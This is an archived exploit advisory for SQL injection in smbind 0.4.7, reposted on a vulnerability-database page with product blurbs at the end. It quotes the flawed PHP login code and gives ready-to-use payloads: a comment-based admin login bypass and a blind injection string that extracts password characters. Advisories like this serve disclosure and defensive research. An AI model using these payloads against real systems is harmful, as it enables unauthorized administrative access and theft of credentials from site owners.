Lucene search
K

smbind 0.4.7 - SQL Injection

🗓️ 03 Sep 2010 00:00:00Reported by r00tType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 22 Views

smbind 0.4.7 SQL Injection vulnerability, easy admin login, limitation and blind SQL injectio

Code
##############################################################################################
#
# smbind <= v.0.4.7 Sql Injection
# Site: https://sourceforge.net/projects/smbind/files/
# Reported on 28/08/2010
#
# Author: IHTeam
#
##############################################################################################
#
# Buggy code:
#
if(isset($_POST['username']) && isset($_POST['password'])) {
        if((!filter("alphanum", $_POST['username'])) or (!filter("alphanum", $_POST['password']))) {
                die("Username and password must contain only letters and numbers.");
        }
        $_SESSION['username'] = $_POST['username'];
        $_SESSION['password'] = $_POST['password'];
}

if(isset($_SESSION['username']) && isset($_SESSION['password'])) {
        $res = $dbconnect->query("SELECT ID FROM users WHERE username = '" . $_SESSION['username'] ."' AND password = '" . md5($_SESSION['password']) . " ' ");
#
##############################################################################################
#
# Easy admin login
#
# Enter in username field: admin'; #
# Enter in password field: [anything]
#
# Sql query will result like this: SELECT ID FROM users WHERE username = 'admin'; #' AND password = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
#
##############################################################################################
#
# Limitation and Blind Sql Injection
#
# You're able to make blind sql injection too. Just input in username field something like this:
# admin' AND SUBSTRING(password,1,1)=char(49); #
#
# That sql injection work only with magic_quote_gpc = Off
#
##############################################################################################

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation